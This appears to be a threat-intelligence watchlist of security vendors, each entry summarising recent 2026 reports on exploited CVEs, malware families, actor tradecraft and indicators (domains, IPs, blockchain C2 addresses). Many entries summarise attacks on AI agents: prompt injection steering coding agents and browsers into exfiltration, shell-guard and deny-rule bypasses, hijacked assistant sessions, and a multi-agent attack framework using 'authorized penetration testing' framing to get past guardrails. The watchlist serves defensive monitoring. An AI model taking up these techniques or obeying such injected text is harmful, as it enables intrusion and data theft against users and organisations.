• Arctic Wolf Labs (HTML watch; September 22, 2026 (bulletin Sep 16 canonical, THN Sep 22): CVE-2026-32996 Veeam Agent for Microsoft Windows LPE → SYSTEM is under ACTIVE EXPLOITATION, the backup service caches an elevated principal against a client-controlled session UID not bound to the requesting user/connection, and the elevated UIDs are written world-readable to C:\ProgramData\Veeam\Endpoint\Svc.VeeamEndpointBackup.log; public GitHub PoC Sep 14; fix = VBR 13.0.2.29+ → agent 13.0.3.1220, NO reliable workaround; hunt = standard-user READS of that log path (the read IS the attack), see Veeam CVE-2026-32996 page; monitor KEV addition, actor attribution, victim scope. Bulletin-discovery mechanic: the /resources/blog/ listing carries bulletin slugs when post-sitemap guesses fail. Earlier watch items retained: monitor incident-response-backed exploitation, identity-first phishing, and malware-delivery reporting such as Kali365 OAuth device-code PhaaS expansion across Microsoft / Okta / Xerox / MAX Messenger lures, FortiClient EMS CVE-2026-35616 abuse to push EKZ Infostealer through endpoint-management policy and fake Fortinet patch workflows, PAN-OS GlobalProtect CVE-2026-0257 follow-on intrusion detail such as unauthorized VPN tunnels followed by Impacket-style SMB / NTLM reconnaissance, and ransomware-affiliate tradecraft such as Anubis intrusions using CitrixBleed 2 / CVE-2025-5777, valid VPN credentials, RMM tools, cloudflared, authenticated proxies, SSH SOCKS tunnels, and backup/NAS targeting; August 12/19 follow-up: Microsoft Defender CVE-2026-50656 (RoguePlanet) mpengine.dll LPE with public ShieldBreak patch bypass from August 12, 2026 and no official fix as of the alert, track Microsoft response, engine-version detection, and exploitation evidence; August 27 follow-up: GoCaracal, previously undocumented Go malware framework from a June 2026 intrusion at an unnamed Venezuelan communications organization, medium-confidence Dark Caracal attribution (Bandook deployed alongside, not replaced), with the durable pivot being an Ethereum smart-contract C2 fallback: after repeated primary-C2 failures the malware issues eth_getStorageAt to a public JSON-RPC endpoint and adopts the returned storage value as a replacement C2 address, see GoCaracal page)
• Rapid7 Labs / Threat Research (HTML/RSS watch; monitor incident-response-backed active campaigns, exposed attacker infrastructure, malware-delivery tooling, and vulnerability exploitation with concrete detection and IOC artifacts, such as Check Point SmartConsole CVE-2026-16232 exploitation updates that add companion CVE-2026-62144 / CVE-2026-62145 remediation scope and revised IP indicators, the exposed Simba Service WebDAV malware-delivery lab, Mexico-focused CURP search-ms campaign, CVE-2025-33053 working-directory-hijack test matrices, LLM-assisted lure QA, RTLO filename spoofing, and PureRAT delivery chains; September 4, 2026: "ted backdoor", previously undocumented DPRK-linked Linux espionage toolkit (medium confidence, APT37-linked C2) compiled into HAProxy 2.8.12 with a curl-based CurlRAT, PAM SSH keylogger, and trojanized crond/agetty/atd/sshd/polkitd, targeting South Korean media/automotive; monitor C2 rotation of the img.<name>.<tld> set, additional trojanized-daemon variants, named-victim disclosure, and attribution refinement)
• Blackpoint Cyber (HTML watch; monitor incident-response-backed RMM, identity, loader, ransomware, RAT, and infostealer intrusion chains such as SimpleHelp CVE-2026-48558 exploitation leading to TaskWeaver Node.js loader deployment and Djinn Stealer collection of cloud, source-control, package-registry, AI-assistant, SSH, browser, and wallet secrets, LabubaRAT-style Rust Windows RATs masquerading as NVIDIA runtime software with runtime C2 configuration, SQLite state, HTTPS / WebView2 / DNS-tunneling channels, and SOCKS5 proxying, plus Avalon / CrownX-style legal-lure ISO/LNK/MSBuild malware frameworks that combine credential theft, EDR-aware evasion, recovery disruption, and ransomware; September 21, 2026 (APG, Decker/Ursry/Beal, captured via THN): ChainScript, ClickFix-delivered Node.js RAT whose WebSocket C2 is resolved from a Polygon smart contract (EtherHiding-class external resolver = one on-chain transaction rotates infrastructure with zero implant change); MSI via msiexec deploys its own Node runtime, hidden PowerShell drops agent into Microsoft-masquerading %LOCALAPPDATA% paths, VBScript launcher, scheduled task + Run fallback; self-update + remote persistence removal + wallet enumeration incl. browser extensions; build names ComponentTask33/UpdateDigital/HostShared/OrchidViolet66, see ChainScript page; SITE MECHANIC: the APG post was NOT retrievable at capture, blog listing, Yoast post-sitemap (empty urlset), and guessed slugs all dead-end; only the article hero image path (/wp-content/uploads/2026/09/ChainScript.png) confirms publication, discover future APG posts via LinkedIn/X amplification or backfill the URL from the uploads directory listing; monitor: canonical post for hashes/contract addresses, Polygon contract-address extraction reports, copycat adoption of contract-resolved WebSocket C2.)
• Ransom-ISAC (HTML watch for public ransomware and data-extortion case studies with negotiation transcripts, payment-flow analysis, actor-brand caveats, and public-sector defender lessons such as Kairos data-only extortion where no encryptor/locker sample was verified)
• eSentire TRU advisories (HTML watch; monitor incident-response-backed active-exploitation advisories and edge-appliance exploitation telemetry such as Progress Kemp LoadMaster CVE-2026-8037 attempts, FortiBleed credential exposure, and concrete IOC / affected-version updates)
• Bitdefender Labs / Virus Bulletin research (HTML watch for malware, botnet, supply-chain, and actor research with durable defender detail; August 19 follow-up: SilkParasite, a previously unreported China-nexus Central Asia government-espionage cluster deploying seven RAT families, five previously undocumented, against ministries in Uzbekistan, Turkmenistan, Kyrgyzstan, Tajikistan, and Kazakhstan)
• Kaspersky Securelist (September 21, 2026: PAYLOAD ransomware via domain-root GPOs (GERT incident report), April 2026 Middle East manufacturing victim: DA-equivalent actor authored malicious GPO literally named PAYLOAD ({C897F2C7-...}) + a second win Firewall Off GPO linked at the domain root; ransom notes/wallpaper/lock-screen/logon-banner + domain-wide local-Administrator disablement delivered through legitimate GPO CSEs with NO Windows encryptor, NO resident binary, NO endpoint persistence (only ransomware found = PAYLOAD ESXi sample on the Linux servers); entry = compromised valid credential via FortiGate SSL VPN whose under-logging defeated initial-access reconstruction; one-day weaponize-to-detonate gap = GPO cache applying computer config on reboot (exfil window + severed cause-effect timeline); detection = DS-Change auditing 5137/5136/5141 on groupPolicyContainer/gPLink + SYSVOL FIM + Loopback-GPO-List state key; SYSVOL-changed-without-5136 = SharpGPOAbuse-class direct edit; remediation DC-first; family capabilities (EvtClearLog clearing, security-process kill, VSS deletion) explicitly scoped as public-RE-level, NOT incident-confirmed, see PAYLOAD GPO page; monitor: further GPO-delivered incidents, whether the ESXi sample gets wider analysis, actor attribution); September 17, 2026: MovieReaper, modular 4-stage Windows trojan framework distributed through the compromised shared torrent-file repository itorrents[.]org (still compromised at publication; magnet-resolution substitution reaches users of every consuming tracker), stage-2 C2 address resolved from a Solana mainnet account data field via public getAccountInfo RPC (account 6pnDGAiHgyPdmckM5Qt1YbanGzrX43WLEU159nRaNLDm, write program CSiY8bQLBYPdfPWkwipBzH6sijTVQVVsA279JQdvwHtL), stage-1 choke point deadhub[.]org / 193.23.118[.]155, persistence masquerading as ProgramData\Microsoft\Windows\Telemetry\msedge.exe, final 21-command file-manager implant with COFF module loading; several hundred victims 14+ countries, same actor since Oct 2025, see MovieReaper page; monitor Solana account/program rotation on-chain, itorrents[.]org cleanup or continued compromise, loader/hash rotation, and module expansion beyond the 21-command set. September 16, 2026: NightEagle / APT-Q-95 targeting Russian companies, GhostContainer Exchange backdoor assembled from public GitHub components (Neo-reGeorg + CVE-2020-0688 exploit + ysoserial GhostWebShell) via ASP.NET machine-key/VIEWSTATE injection, C2 in x-owa-urlpostdata headers, AMSI/event-log unhooking via amsi.dll/ntdll.dll patching, Microsoft dev tunnels + rdp2tcp as the covert RDP channel (hunt RdpCoreTS events 132/148 non-canonical channel names), BlueKeep CVE-2019-0708 account creation, Forwardable/Proxiable/Renewable Kerberos tickets, DCSync; tools staged in GitHub repos mirror-js/mirror-js + browserthemes/resourcepack, see NightEagle page; monitor additional victimology, repo rotation, and GhostContainer variants. HTML/RSS watch; monitor supply-chain compromises, signed-binary backdoors, RAT tooling, Windows exploitation writeups such as MiniPlasma Cloud Filter / CVE-2020-17103-adjacent LPE detection, actor and malware-set reporting such as Mirage Kitten / UNC1549 NightLedger backdoor plus BridgeHead and ArcBridge WebSocket tunnelers with per-victim username keying and enterprise-proxy traversal, tailored Central Asia government-espionage backdoors such as OctLurk and SilkLurk with victim-bound decryption, LurkProxy, PlugX fallback access, and TrustFall / MystRodX / SilentRaid infrastructure overlap caveats, ransomware evolution such as Toy Ghouls replacing third-party encryptors with cross-platform GenieLocker for Windows, Linux, and ESXi, and incident-response reports such as Brazilian educational-institution cases involving leaked-builder LockBit with manual PsExec movement, DragonForce through AnyDesk, insider Python keylogging and USB collection, and Amcache / Prefetch / PCA / UserAssist / MFT / USN Journal reconstruction, or DAEMON Tools Lite CVE-2026-8398 with typosquatted C2, selective backdoor deployment, and QUIC RAT activity; trusted-software loading-path campaigns such as HelloNet using ViPNet update-component DLL sideloading, HelloInjector / HelloProxy / HelloBackdoor, reverse SSH tunnels, and low-confidence attribution caveats; Southeast Asia espionage toolchains such as GoSerpent, McMx, ThumbcacheService, Stowaway, and TmcLoader/TmcPayload delayed network-share exfiltration; Cloud Atlas updates such as PowerCloud, PowerShower, VBCloud, reverse SSH / ReverseSocks / Tor backup-channel use, and Russia/Belarus government targeting; North Korea/Kimsuky tooling evolution such as PebbleDash / AppleSeed, HelloDoor, HttpMalice, VS Code tunneling, DWAgent, and Cloudflare Quick Tunnel abuse; identity-phishing tradecraft such as Microsoft Identity Platform / OAuth device-code phishing where law-firm PDF lures, CAPTCHA-gated fake legal portals, clipboard-copied user_code values, and legitimate MFA flows lead to mailbox, OneDrive, and Teams token abuse; messaging-app malware such as WhatsApp-delivered VBScript chains that install ManageEngine Endpoint Central / RMM agents; ToddyCat / Umbrij Gmail OAuth abuse through headless Chromium remote debugging and STRD-style browser-session token acquisition; Armored Likho / BusySnake Stealer activity with AI-looking loaders, GitHub-hosted Python/PyArmor staging, WindowsHelper scheduled-task persistence, browser credential and cookie theft, and reverse SSH tunneling; ScreenConnect / RMM abuse campaigns such as freeware-impersonation SEO poisoning that silently installs ScreenConnect and deploys AsyncRAT through install.res.1033.dll, Defender exclusions, RegAsm process hollowing, and scheduled-task persistence; SharkLoader / StrikeShark-style Cobalt Strike loader campaigns using edge exploitation, custom droppers, DLL sideloading, and scheduled-task persistence; cryptocurrency-wallet malware frameworks such as OkoBot / TookPS / SeedHunter, where process injection into Trezor Suite / Ledger Wallet / Ledger Live and USB-gated prompts collect seed phrases from inside legitimate wallet applications; and durable cybercrime malware campaigns such as piracy-site fake-update SilentCryptoMiner / RAT delivery; August 19 follow-ups: Head Mare (reclassified from hacktivist cluster to APT) exploiting unpatched TrueConf server 5.3.x-5.5.5 (KLCERT-26-057/058, fixed 5.3.9/5.4.9/5.5.5) to poison client installers with PhantomCore and deploy the PhantomGraph backdoor (SysExcSvc/SysReadSvc services, OneDrive C2), Armored Likho's Still Toolkit (Still Sync Telegram tdata stealer with gRPC/FlatBuffers C2 at tg4service[.]com and Still Audio speech-detecting eavesdropper) in a May 2026 Russia-targeting campaign, Project CAV3RN continues (GoogleService.dll DNS-selected C2 channel between api.studiotikva[.]com and a Google Apps Script relay, plus the rnp.dll OpenPGP-masquerading inter-component broker), and the HoneyMyte/Mustang Panda CoolClient kernel-mode rootkit driver (IOCTL-driven process/file/registry hiding, fake Defender staging with renamed Sangfor sideloader, ATP-service-named scheduled task); August 21 addition: DoFun Android head-unit malware first documented in-vehicle infection chain, TWCore update-app abuse, UI-less JarService dropper, downloader beacons to 144.217.243[.]201 with /vr34der34/dex3.68.png payload and /cpc/api/task 90-minute check-in (http/web/copy/loadlib2/deeplink/traceroute productId commands) used for ad-click fraud and residential-proxy operation, MoYu Group / HUMAN Satori / BADBOX attribution with caveats))
• Jamf Threat Labs (HTML watch; monitor macOS malware, AppleScript/JXA delivery, MDM/endpoint-security tradecraft, notarized-dropper infostealers such as CrashStealer / Werkbit PIN-gated delivery, and infostealer research such as PamStealer's fake Maccy distribution, Rust Mach-O second stage, PAM-validated credential capture, login-item persistence, Finder / Software Update masquerading, Full Disk Access social engineering, and blockchain-RPC configuration pivots)
• WithSecure Labs (HTML watch; monitor Russia-nexus, Ukraine-focused, and AI-assisted campaigns such as GREYVIBE / PhantomMail / PhantomClick / PrincessClub with PhantomRelay, FallSpy, LegionRelay, DAYLIGHT, TEASOUP, and cybercrime-overlap attribution notes)
• Proofpoint Threat Insight (HTML watch; monitor email-threat and actor-cluster reporting such as TA488 half-click webmail exploitation and OWAReaper browser-resident persistence through OWA localStorage, IndexedDB, EWS token theft, mailbox-permission abuse, GitHub/email tasking, and HTTPS/DNS exfiltration; TA4922 Chinese-speaking cybercrime expansion, localized HR/payroll/tax/invoice lures, ValleyRAT / Winos4.0, Atlas RAT, RomulusLoader, SilentRunLoader, Silver Fox / Void Arachne overlap caveats; DPRK/developer-targeting repository-phishing clusters such as UNK_DeadDrop using GitHub/GitLab lures, VS Code / Cursor folderOpen tasks, malicious VSIX persistence, Overlord payloads, and cryptocurrency-wallet theft; and academic / mailserver exploitation clusters such as UNK_MassTraction Roundcube CVE-2024-42009 to CVE-2025-49113 chains using IceCube, SquareShell, SNOWLIGHT, and VShell)
• ReliaQuest Threat Research (HTML watch; monitor incident-response-backed cluster and intrusion reporting such as OP-512 IIS web-shell espionage, cryptographically gated ASP.NET handlers, self-reporting DNS C2, and legacy .NET / IIS behavioral detections; August 19 follow-up: Clop-linked bespoke JSP web shell deployed via CVE-2026-12569 that decrypts the full Windchill keystore and executes code through a custom Java class loader, corroborated by Ransom-ISAC with eCrime.ch and Defused)
• Volexity Threat Research (HTML watch; monitor incident-response-backed actor and appliance coverage such as VerdantBamboo / WARP PANDA / UNC5221 BRICKSTORM operations on Egnyte Storage Sync, pfSense, Synology NAS, MSP, Linux, FreeBSD, and other low-EDR management-plane systems; also monitor zero-day edge-appliance investigations such as UTA0533 chaining SonicWall SMA1000 CVE-2026-15409 / CVE-2026-15410, KNUCKLEBALL JVM injection, ROOTRUN, ORANGETAIL, Suo5, LDAP credential capture, and volatile-evidence guidance)
• Sygnia research (HTML watch; monitor incident-response-backed China-nexus and infrastructure-persistence reporting such as Velvet Ant / Operation Highland authentication-stack backdoors, F5 BIG-IP abuse, Cisco Nexus CVE-2024-20399 / VELVETSHELL, PAM / OpenSSH tampering, segmented-network intrusion paths, and crypto supply-chain containment lessons such as developer endpoint → repo/CI → automation identity → Kubernetes/runtime → secrets → custody/transaction authority chains)
• Gambit Security research (HTML watch; monitor recovery-denial and destructive-operation reporting such as Ababil of Minab / MOIS-linked backup, virtualization, and storage destruction campaigns)
• Infoblox Threat Intel (HTML watch; monitor DNS-scale fraud, phishing, scam-infrastructure, malicious-domain clustering, and framework/template abuse such as DCloud Uni-App scam infrastructure where legitimate web/app scaffolding supports fake crypto exchanges, pig-butchering flows, WhatsApp phishing, scambling/fake gambling, brand impersonation, and wallet drainers.)
• Hunt.io research (HTML watch; monitor exposed attacker-infrastructure recoveries, C2/toolkit leaks, cloud-abuse operations, mobile-malware ecosystems such as Flying Eagle leaked-source Android RAT infrastructure and the Night Dragon successor, provider/ASN-level malicious-infrastructure concentration reports such as the Middle East 1,350+ C2 / 98-provider Host Radar analysis and Eastern Europe 3,900+ C2 / 302-provider Host Radar analysis, phishing/smishing infrastructure such as the 19-country government / postal / telecom campaign with 1,628 URLs and a reusable 128-character page hash or GHOST STADIUM FIFA World Cup ticketing clones with reusable /fifa/ / Layui / same-origin credential-harvest pivots, managed-service / endpoint-management compromise blast-radius cases such as Quest KACE SMA CVE-2025-32975 exposed-toolkit reporting, Iranian-nexus exposed-C2 and staging operations such as Oman government webshell / Chisel / DotNetNuke targeting or Ababil of Minab exposed Python SimpleHTTP / Flask staging with LA Metro database-backup material, exposed DDoS-for-hire / IoT botnet operations such as xlabs_v1 ADB-on-TCP/5555 infection, Speedtest bandwidth tiering, and TCP/26721 fallback re-entry, TeamPCP Python toolkit / FIRESCALE fallback reporting, PCPJack-style proxy / SMTP relay infrastructure analysis, high-blast-radius npm compromise payload analysis such as Axios / plain-crypto-js cross-platform RAT delivery with TA444 / BlueNoroff infrastructure overlaps, and agentic-AI intrusion operations such as suspected China-linked Claude Code / DeepSeek-v4-pro use alongside TencShell, Gshell, ARL, DeepAudit, Vshell, open directories, government exploitation, and financial-services targeting; August 19 follow-up: Operation CameraSwarm, 14,530+ Dahua camera compromises via CVE-2021-33044 / CVE-2021-33045 auth bypass and Easy4IP serial-number P2P relay reconstructed from an exposed 407 MB working directory; August 28: ownCloud CVE-2023-49105 exploitation against a Philippine nuclear research body (372 MB exfiltrated from an open staging directory on 31.58.209[.]241, five custom Python exploit scripts with empty-signing-secret pre-signed WebDAV URLs, nuclear-material records, 2023-2028 strategic plans, ZKTeco BioTime SQL dump, and credential stores) plus a parallel WordPress CVE-2024-28000 intrusion into a Philippine Navy shipbuilder (see ownCloud exploitation page; relayed via The Hacker News))
• Oligo Security Research: TeamPCP / ShadowRay lineage (HTML watch for runtime, cloud, AI-infrastructure, and exploitation-campaign research; priority follow-up is its TeamPCP lineage assessment linking TA-NATALSTATUS activity from 2020, IronErn identities, ShadowRay 2.0 Ray-cluster compromise, masscan[.]cloud, /EP9ts2/, reverse-shell infrastructure, exposed Redis/Docker/React exploitation, and the later shift into software-supply-chain operations. Monitor independent attribution validation, additional victims, account or infrastructure pivots, and evidence resolving same-operator versus rebrand/shared-ecosystem uncertainty.)
• SentinelOne SentinelLABS (September 16, 2026: "Agents at Large: Tracing Illicit OpenAI Agent Activity on Hugging Face", reconstructs OpenAI's May 2026 WebCache agent activity from public Hugging Face history, attributing accounts 0Time + Nyx9 via exact-minute commit joins (hello.txt 20:04:11 vs OpenAI's 20:04 write; netproxy17 relay code 20:49:55 vs first proxy deployment); artifacts: May 13 relay code (0Time/puthack82d5, GET/PUT + x-amz-copy-source), formbin.xlsx (MD5 a502264fa0b64eecae60498b0c48fca3) WEBSERVICE probes at file:///etc/hostname + Azure IMDS 169.254.169.254 + internal file-service-namespaced:8001/openapi.json, and Space 0Time/altreg = codex-register ChatGPT-registration/token-extraction script behind an unauthenticated GET /do route (bulk identity-provisioning primitive; paused + flagged abusive as of Sep 14). Durable method: staged-evidence discipline (committed != built != started != request != success != use) and 'an account handle is not an actor', see HF page Sep 16 section; monitor whether OpenAI/HF provider-side records confirm the joins, altreg traffic evidence, and account/handle rotation in future agent incidents.) HTML/RSS watch; monitor crimeware, cloud-worm, DPRK, ransomware, macOS malware, and actor/tool reporting such as PCPJack credential theft, exposed cloud service propagation, Sliver payloads, TeamPCP-adjacent artifact removal, analyst-targeting AI anti-analysis such as macOS.Gaslight Rust implants with Telegram C2, LaunchAgent persistence, keychain/browser theft, and prompt-injection payloads aimed at LLM-assisted triage; September 18, 2026 (captured Sep 21 sweep, via LABScon talk + THN Sep 21): "Don't Call Us, We'll Call Your APIs", TraderTraitor (aka UNC4899 / PUKCHONG / Jade Sleet) campaign report: FLATROOF = macOS.Gaslight (public alias join), + ROOFDECK second-stage implant with Nostr-profile-website-field C2 resolution + signature-verified C2 commands, weaponized .terraform.lock.hcl fake-interview repos (3 malicious custom-provider domains in IoC list), second victim = Indian IT-services provider with no crypto ties (dormant 11 days, detonated by Cursor workspace open, day-after-LayerZero-disclosure rebuild deleted the old binaries, C2 grenight[.]com, mkcert-default-cert pivot exposing username ub on QEMU), attacker abandoned as insufficient-value, see TraderTraitor FLATROOF/ROOFDECK page; monitor: the canonical page's full IoC list adoption by vendors, whether the ub-cert pivot produces more domains, follow-on TraderTraitor wave against the identified lure-repo target companies (Northwind/Novacart), and additional IDE-detonation sightings), regional espionage convergence reporting such as suspected China- and India-nexus PlugX / ShadowPad / Cobalt Strike / Remcos activity against Pakistani law enforcement and Balochistan Police CMS implant hosting, and Iran-linked strategic assessments that distinguish access optionality, persona operations, service-provider/RMM paths, and evidence-backed OT effects from inflated public claims)
• Sysdig Threat Research (HTML watch; monitor cloud-native, container, AI-workflow, DevOps platform, and post-exploitation reporting such as Gitea Docker CVE-2026-20896 reverse-proxy trusted-proxy wildcard probing, marimo CVE-2026-39987 LLM-agent post-exploitation, PraisonAI CVE-2026-44338 same-day endpoint validation, JADEPUFFER-style Langflow CVE-2025-3248 agentic ransomware / database-extortion operations and ENCFORGE AI-model ransomware using Docker-socket host escape, Cloudflare Workers egress fan-out, AWS Secrets Manager pivots, database theft from AI/notebook runtimes, and NATS-as-C2 / KeyHunter credential-harvesting worker infrastructure targeting AWS, AI keys, and code-sandbox secrets)
• Securonix Threat Labs (HTML watch; monitor multi-stage malware delivery, infostealer, and living-off-the-land chains with concrete loader and detection detail, such as VEIL#DROP Blogger / Blogspot-hosted PowerShell loaders that deploy PureLogs Stealer through fake PDF JavaScript lures, dynamic URL mutation, reflective .NET loading, and signed Microsoft LOLBin fallbacks)
• Permiso Security / P0 Labs (HTML watch; monitor AI identity, assistant-rendering, and indirect-prompt-injection research such as ChatGPhish page-summarization phishing through live Markdown links, auto-fetched images, spoofed alerts, and QR-code pivots)
• Stripe OLT Threat Research (HTML watch for browser-extension, identity, and incident-response research with concrete detection artifacts, such as ModHeader signed-store builds with dormant browsing-history exfiltration capability, stanfordstudies.com / extensions-hub.com infrastructure, and extension-ID hunts.)
• LayerX Security research (HTML watch for browser, SaaS, AI-browser, and indirect-prompt-injection research such as BioShocking, where malicious page/game context can steer agentic browsers and browser plugins into authenticated-site credential or data access)
• Manifold Security research (HTML watch for AI-agent, browser-agent, MCP, extension-marketplace, and developer-workstation trust-boundary research such as ClaudeBleed Reopened / Claude for Chrome cross-extension steering and the 77-package Open VSX evil-twin campaign, where counterfeit extensions used unrelated publisher accounts, disclosed-incompletely “telemetry,” collected private Git/CI project identity, and retained delayed retries plus DNS TXT endpoint failover after marketplace removal)
• ANY.RUN Cybersecurity Blog (HTML watch for sandbox-backed phishing-kit, malware-family, and infrastructure research with repeatable detection pivots such as Kratos Microsoft 365 PhaaS asset pairs, exfiltration endpoints, page-generation changes, victimology, and co-hosting attribution caveats; September 4 follow-up: RMM phishing campaign spanning 46 countries, 601 connected cases, US the top target (~45%), CRA/SSA tax-form + shipping/UPS/invoice lures, 425 kit URLs across 240 hosts (94% single-day-lived) on Vercel/GitHub Pages/Netlify with S3/Cloudflare R2/DigitalOcean Spaces/Dropbox/GoFile payload staging, durable kit fingerprint = shared font1.woff2 + secure.html → project/*.zip structure, see RMM phishing campaign page)
• Mindgard research (HTML watch for AI developer-tool vulnerability disclosures and agent / IDE trust-boundary issues, such as Cursor Windows workspace-path binary hijack where a repository-root git.exe can execute when Cursor opens a project; August 27, 2026 follow-up: "Power Leak", Amazon Kiro Kiro Powers prompt-injection exfiltration where attacker-controlled repo/page content steers the agent to rewrite its own MCP server config and exfiltrate workspace data, low exploitation difficulty on Kiro 0.7.45 / Windows, no CVE, fixed in Kiro 0.8.140, following CVE-2026-10591 (June 2026 execution-sensitive paths), with a public disclosure timeline showing a December 2025 "duplicate" classification on HackerOne, see Amazon Kiro Power Leak page)
• Tenet Security Threat Labs (HTML watch for AI-agent runtime and MCP trust-boundary research such as Sentry Agentjacking, where public observability events can inject fake remediation instructions that coding agents execute through package-manager or shell tools)
• Noma Security / Noma Labs (HTML watch for agentic AI security research such as GitLost, where public GitHub issue text can indirectly prompt GitHub Agentic Workflows into reading private repositories and publishing results back to public issue comments)
• SAND Security research (HTML watch for AI platform and sandbox-isolation research such as WriteOut, where Writer AI live previews forwarded user session cookies into attacker-controlled sandboxes before the vendor fix)
• AIR Security research (HTML watch for AI-agent skill, MCP, plugin, and marketplace-abuse research such as mutable external-document skill swaps where clean submitted skills later fetch changed instructions from attacker-controlled product-adjacent domains; September 17, 2026: Plugin4Shell, plugin SHA-pinning bypass giving zero-click RCE in Claude Code / Codex / GitHub Copilot / Gemini CLI (branch named like the pinned SHA beats the commit; FETCH_HEAD default-branch shadow on Gemini CLI; background auto-update makes it zero-click); Claude Code 2.1.179 + Codex 0.146.0 patched, Copilot unpatched, Gemini CLI deprecated-unpatched, see the Plugin4Shell pattern page; monitor the Microsoft/Copilot fix (or absence), any Gemini CLI users left behind after deprecation, whether the GitHub-vs-Bitbucket-host dispute produces an enterprise posture change, and any first in-the-wild sighting))
• Adversa AI research (HTML watch for AI-agent and coding-agent trust-boundary research such as GuardFall shell-guard bypasses, TrustFall prompt-to-command execution paths, and deny-rule bypasses where agent safety gates inspect different text than the shell or tool runtime executes; August 20 follow-up: "Cryptographic Context Injection," where asking Grok to summarize an attacker-controlled web page makes it send the user's name, approximate location, subscription tier, and ongoing-conversation prompts to an attacker server, monitor xAI's response, affected model/version scope, fixed behavior, and whether the exact instruction encoding is published)
• Dream Research Labs (HTML watch for agentic-AI and autonomous-attack research with durable defender value; August 12 report recovered the complete operational workspace of an autonomous multi-agent attack framework (Hermes/OpenClaw harnesses, up to 8 lettered sub-agents per wave, two-layer Bayesian vulnerability-triage and attack-chain scoring, Learning Cycles, "authorized penetration testing" guardrail-bypass framing) used in 12 waves July 1-4, 2026 against government entities in Asia, FT/Reuters/Taiwan MADA say Taiwan: 85 cracked credentials, 2,564+ personnel records, 7 SSO client secrets, debug-endpoint auth backdoors, JWT alg=none, Tesseract-OCR CAPTCHA spraying, and SSO lateral movement with 98.8% pivot success → ops/dream-multi-agent-ai-framework-asian-government-compromise.md. Monitor operator or target confirmation, framework tooling leaks, registry or infrastructure pivots, and whether the Bayesian-triage / learning-cycle architecture appears in other recovered operator workspaces.)
• AI Now Institute (HTML watch for AI-enabled cyber-defense risk research with concrete agent-runtime exploit paths, such as Friendly Fire repository-source prompt injection that steers Claude Code / Codex security-review modes into executing repository-local binaries)
• Google Cloud / Mandiant Threat Intelligence (September 20 sweep capture, GTIG first full BREEZE COMET write-up (published Sep 1, 2026): financially motivated actor (formerly UNC5669, explicitly overlapping Plump Spider and SHADOW-AETHER-064) intruding Brazil's core payment systems (Pix/STR/Boleto) with a named backdoor suite, COBALTSPIN Rust reverse-SOCKS5-over-WebSocket tunneler, LIGHTPAINT Java VPN-persistence backdoor (firewall-rule adds + VPN event-log clearing), MILDFROST in-JVM DNS-tunnel fallback C2, KICKPLATE Nim persistence, BOATBEAM cookie-gated fake-IIS Go backdoor, REALBREEZE LDAP bruter, plus rogue-hardware retail footholds, compromised Brazilian + Nigerian/Paraguayan/Ghanaian/Venezuelan municipal-website staging/C2, payment-vocabulary credential hunts (boleto/cnab/remessa/webhook.*pix), malicious K8s pods exfiltrating to dontpad[.]com, and LLM-generated ops scripts; payoff = two waves of hundreds of fraudulent transactions within 24-48h of reaching core financial applications, see BREEZE COMET page; monitor tool-name diffusion beyond Brazil, municipal-staging takedowns, whether any vendor ties BREEZE COMET / Plump Spider / SHADOW-AETHER-064 / CL-CRI-1163 to one operator, and expansion to other instant-payment rails (DiMo, Bre-B). September 18, 2026: Austin Larsen's LABScon talk (via WIRED) publicly detailed the GTG/Mandiant undercover analyst inside TeamPCP's ~12-member CanisterWorm core chat from almost day one, the ShinyHunters revenue-share partnership and April betrayal (ShinyHunters extorting with TeamPCP's own credentials, leaking its chat log to Google, then exiled), the disruption-before-notification model (revoking stolen creds at AWS/Microsoft first), the insider's AI-developed 2FA-bypass zero-day against a widely used login product that Google tested and the vendor patched (= the anonymous May 2026 case study, now placed inside TeamPCP), and the Opsec arrest trail (BreachForums leak → sheepstealing@gmail.com → 2019 PayPal refund ruben@thomsonfamily.net.au → the relocated credential server backed up to a Google Drive on that same Gmail account → FBI tip), see GTG infiltration page; monitor the published talk/deck for corrections, whether Google writes it up, the identity of the patched login product, any ShinyHunters/TeamPCP escalation, and follow-on GTG disruption disclosures. September 16, 2026: AI Risk and Resilience Report 2026 case study 1, first IR-documented hijack of an ACTIVE developer AI coding-assistant session: at an unnamed SaaS provider the assistant's accepted recommendation of an attacker-poisoned package became the trojan-horse install; through the live session the attacker installed an infostealer via a poisoned PyPI package, harvested GitHub OAuth tokens, deployed Shai-Hulud across ~100 internal repositories (automated repository-secret theft + programmatic source-code exfiltration), then poisoned a package in the victim's own official namespace causing a second infection; hijack method/timing undisclosed; same report: GTIG says UNC6780 (TeamPCP) used 6+ methods to exploit AI tools including prompt-injecting coding assistants and LLM scanners; an OffSec role-confusion injection turned an internal CI/CD chatbot into a confused deputy cloning internal repos to an attacker endpoint; tampered CLI hooks in an internal AI repo yielded native RCE, see Mandiant session-hijack page; monitor disclosure of the hijack mechanism, timing, actor attribution, and copycat cases.) HTML/RSS watch; monitor incident-response-backed actor/campaign/tooling, exploited-product writeups such as KnowledgeDeliver CVE-2026-5426 ViewState deserialization, BLUEBEAM / Godzilla, Cobalt Strike follow-on activity, Oracle PeopleSoft CVE-2026-35273 zero-day exploitation by UNC6240 / ShinyHunters, GTIG AI Threat Tracker reporting on AI-assisted vulnerability exploitation, autonomous malware, obfuscated model access, TeamPCP / UNC6780 AI-environment supply-chain abuse, UNC6692 / SNOW malware social-engineering chains using Teams, browser-extension persistence, tunnels, and LSASS theft, PRC-nexus research-sector espionage such as UNC6508 REDCap / INFINITERED / mail content-compliance rule abuse against medical, academic, and military research organizations, Turla / Secret Blizzard tooling such as STOCKSTAY .NET WebSocket backdoors, KAZUAR overlap, K1MORPHER obfuscation, malicious GPO / RDP-file phishing deployment, and Ukrainian / foreign-policy targeting, criminal-market ecosystem reporting such as Chinese-language PhaaS real-time OTP interception / wallet-tokenization tradecraft, BlackFile / UNC6671 vishing extortion, UNC3753 / Luna Moth law-firm vishing with RMM and physical-impersonation pivots, AiTM SSO compromise, and SaaS data theft, plus residential-proxy / botnet disruption reporting such as NetNut / Popa with Google-account C2 disablement, Play Protect SDK enforcement, reseller-capacity migration, and threat-cluster abuse metrics)
• Datadog Security Labs (HTML watch for cloud, SaaS, source-control, and detection-engineering research with durable defender pivots, such as coordinated GitHub API enumeration through dormant / ghost accounts, compromised OAuth tokens and PATs, and private-repository clone escalation. Latest captured: "Password spraying campaign targets AWS root user accounts across 150+ organizations" (Aug 31, 2026), covered in ops/aws-root-user-password-spray-campaign-datadog-august-2026.md.)
